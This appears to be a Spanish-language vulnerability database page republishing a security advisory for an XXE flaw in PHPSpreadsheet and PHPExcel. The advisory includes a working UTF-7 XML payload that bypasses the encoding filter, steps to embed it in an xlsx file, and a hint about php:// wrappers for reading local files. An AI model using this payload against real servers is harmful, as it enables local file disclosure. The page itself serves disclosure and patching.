Alta

XXE in PHPSpreadsheet encoding is returned

  • Publicada: 29.08.2024
  • Actualizado: 11.10.2026 10:22

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
php
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files lfi

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer phpoffice/phpexcel <= 1.8.2 sin corrección
Paquete de Composer phpoffice/phpspreadsheet < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1

Referencias

Puntuación CVSS 8.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-611
Plataforma
Composer
Paquete
phpoffice/phpexcel, phpoffice/phpspreadsheet
Publicada
29.08.2024
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-ghg6-32f9-2jp7 - CC BY 4.0

Historial de vulnerabilidades: phpoffice/phpexcel

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (23) en el archivo
Entradas en total
23
Primera → última
11.2019 02.2025
Sin corrección
20
Explotada en ataques
0

Distribución por gravedad

  • Alta 12
  • Media 10
  • Baja 1

Divulgaciones por año

  1. 2019: 2
  2. 2020: 0
  3. 2021: 1
  4. 2022: 1
  5. 2023: 0
  6. 2024: 10
  7. 2025: 9
  8. 2026: 0
Gravedad:
  1. Alta · 7.1 CVE-2024-56409 <= 1.8.2 sin corrección
  2. Alta · 7.1 CVE-2024-56366 <= 1.8.2 sin corrección
  3. Alta · 7.1 CVE-2024-56408 <= 1.8.2 sin corrección
  4. Alta · 7.5 CVE-2024-48917 <= 1.8.2 sin corrección
  5. Alta · 7.5 CVE-2024-47873 <= 1.8.2 sin corrección
  6. Alta CVE-2015-3542 < 1.8.1 1.8.1
  7. Alta · 7.5 CVE-2024-45293 <= 1.8.2 sin corrección
  8. XXE in PHPSpreadsheet encoding is returned esta entrada
    Alta · 8.8 CVE-2024-45048 <= 1.8.2 sin corrección
  9. Alta · 8.8 CVE-2019-12331 <= 1.8.2 sin corrección
  10. Alta · 8.8 CVE-2018-19277 < 1.8.2 1.8.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.